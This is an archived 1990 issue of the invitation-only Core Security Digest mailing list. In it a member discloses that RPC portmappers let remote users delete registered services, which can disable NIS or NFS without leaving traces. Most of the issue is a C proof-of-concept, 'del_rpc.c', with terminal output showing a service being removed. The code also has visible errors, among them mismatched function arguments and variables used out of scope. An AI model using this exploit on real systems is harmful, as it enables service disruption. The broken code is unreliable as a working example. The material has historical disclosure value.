The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #6 1990-12-06 (1 file, 2683 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/106.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Thu Dec 6 09:21:33 PST 1990
Subject: Core Security Digest V1 #6

Core Security Digest Volume 1 Issue 6

subject(s):

            Security problems with rcp portmapper

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             core-request@uninet.cpd.com


------------------------------------------------------------------------

Date: Wed, 05 Dec 90 16:02:29 -0800
From: shipley@remarque.berkeley.edu
Subject: Security problems with rcp portmapper

There is a security problem with most RPC portmapper where anyuser
can delete services.

this is done by connecting to the RPC portmapper and simply requesting
the service be delete.  Under SunOS 4.1 and greater this but be done
from the localhost, but on SunOS 4.0.3 or less, and on other vendor
platforms that use the portmapper, this can be done remotly!

The problems this can cause range from deleting services such as rusersd
rstatd to (fairly harmless) to effectivly disabling yp or NFS services.

Under SunOS 4.1 a console warning/error message is generated and the
request is denied if the attack is remote but on other system the attack
if clean (meaning there are no trace logs of message to later trace!).

The following code will demonstrate the problem.
(Note  that is will report failure but if you check the results
with rpcinfo(8) you will see that the service has been deleted.
I am not sure if this is a bug in my code of the portmapper's code).

    % rpcinfo -p | grep "rusersd"
	100002    1   udp   1040  rusersd
	100002    2   udp   1040  rusersd

    % ./del_rpc localhost 100002    2
    Failure delete service

    % rpcinfo -p | grep "rusersd"
	100002    1   udp   1040  rusersd

    % ./del_rpc localhost 100002 1

    % rpcinto -p | grep "rusersd"

    %

Needless to say but there are many other flaws in the RCP system and this
is just an example.

==== cut here ===
static char *_cp_="Copyright Peter Shipley (HACKMAN) [1990]\n";
static char *_n_=" del_rpc.c \n";

/*
 * This  program tests the existence of a hole
 *
 * The Return codes are:
 *  1 = security problem detected
 *  0 = no security problem detected
 * -1 = Insufficient data or error in detection
 *
 * compile with: /bin/cc   del_rpc.c -o del_rpc
 */

#include <stdio.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>

#include <sys/socket.h>
#include <sys/time.h>
#include <sys/param.h>
#include <netdb.h>


#ifndef PMAPPROG
#define PMAPPROG		((u_long) 100000)
#define PMAPVERS		((u_long) 2)
#endif


int xdr_sfi();

static enum clnt_stat	call_nullproc(),
		call_delete_map();


void	exit();	/* SHUT LINT UP */

static char *USAGE =
"bad arg count\nUsage: %s [ -v ] hostname  program_number program_version\n";


/* ARGUSED */
main(ac, av)
int ac;
char *av[];
{
CLIENT		*client;
enum clnt_stat	clnt_stat;
int		result;
int		verbose;
char		*progname;
char		*rhost;
u_long		prog_num, prog_ver;

    verbose = result = 0;
    progname = av[0];

    if (ac == 5 && av[1][0] == '-' && av[1][1] == 'v' ) {
	verbose++;
	++av;
	--ac;
    }

    if( ac != 4) {
	(void) fprintf(stderr, USAGE, progname);
	exit(1);
    }

    rhost = av[1];
    prog_num = atol(av[2]);
    prog_ver = atol(av[3]);


    /* establish a link since we will be using it more then once */
    client = make_client(PMAPPROG, PMAPVERS);

    /* test it */
    if(client == NULL) {
	(void) fprintf(stderr,
	    "%s: error establishing connection with host %s\n",
		progname, rhost);
	clnt_pcreateerror("clntudp_create");
	exit(-1);
    }

    /* call the null procedure, this will serve as sort of a ping */
    clnt_stat = call_nullproc(client);

    /* test and report results */
    if( clnt_stat  != RPC_SUCCESS) {
	(void) fprintf(stderr, "%s: error calling nullproc with host %s\n",
		progname, rhost);
	clnt_perror(client, "rpc: nullproc");
	exit(-1);
    } else if (verbose)
	(void) fputs("RPC: Success nullproc\n", stderr);

    /* call the hold file procedure, this will ask the selection
       server to open the file for reading. */
    clnt_stat = call_delete_map(prog_num, prog_ver);

    /* test and report results */
    if( clnt_stat  != RPC_SUCCESS ) {
	(void) fprintf(stderr,
	    "%s: error calling delete procedure with host %s\n",
		progname, rhost);
	clnt_perror(client, "rpc: delete procedure");
	(void) fputs("RPC: failure delete procedure\n", stderr);
	/* exit(0); */
    } else {

	if (verbose) (void) fputs("RPC: portmaper  success\n", stdout);

	if(rslt) {
	    (void) fputs("Success delete service\n", stdout);
	    result = 1;
	} else {
	    (void) fputs("Failure delete service\n", stderr);
	}
    }

    /* close our connection */
    clnt_destroy(client);

    /* bye bye */
    exit(result);
}

static enum clnt_stat
call_delete_map(client, prog, ver)
CLIENT	*client;
u_long	prog;
u_long	ver;
{
struct pmap parms;
bool_t rslt;

    /* set up request data */
    parms.pm_prog = prog;
    parms.pm_vers = ver;
    parms.pm_port = parms.pm_prot = 0;

    /* make request and return result */
    return(clnt_call(client, PMAPPROC_UNSET,
	    xdr_pmap, (char *) &parms,	/* data sent */
	    xdr_bool, (char *) &rslt,	/* data returned */
	    tout));
}

static CLIENT *
make_client(host, serv, ver)
char *host;
u_long  serv, ver;
{
CLIENT  *client;
int sock = RPC_ANYSOCK;
struct hostent *hp;
struct sockaddr_in server_addr;

    /* get address of remote host */
    if ((hp = gethostbyname(host)) == NULL) {
	(void) fprintf(stderr, "Can't get address for %s\n", host);
	exit(-1);
    }

    /* set our connection timeout */
    tout.tv_sec = 3;
    tout.tv_usec = 0;

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = 0;

    /* create a client hookup using udp  to selection_svc */
    client = clntudp_create(&server_addr, serv, ver,
	    tout, &sock);

    /* set the time out for calls (since tout is reused) */
    tout.tv_sec = 20;

    /* return our referance hook for out client */
    return(client);
}


static enum clnt_stat
call_nullproc(client)
CLIENT *client;
{
    return (clnt_call(client, NULLPROC,
	    xdr_void, (char *) NULL,	/* data sent */
	    xdr_void, (char *) NULL,	/* data returned */
	    tout));
}

        End of Core Security Digest Volume 1 Issue 6
        **********************

END OF DOCUMENT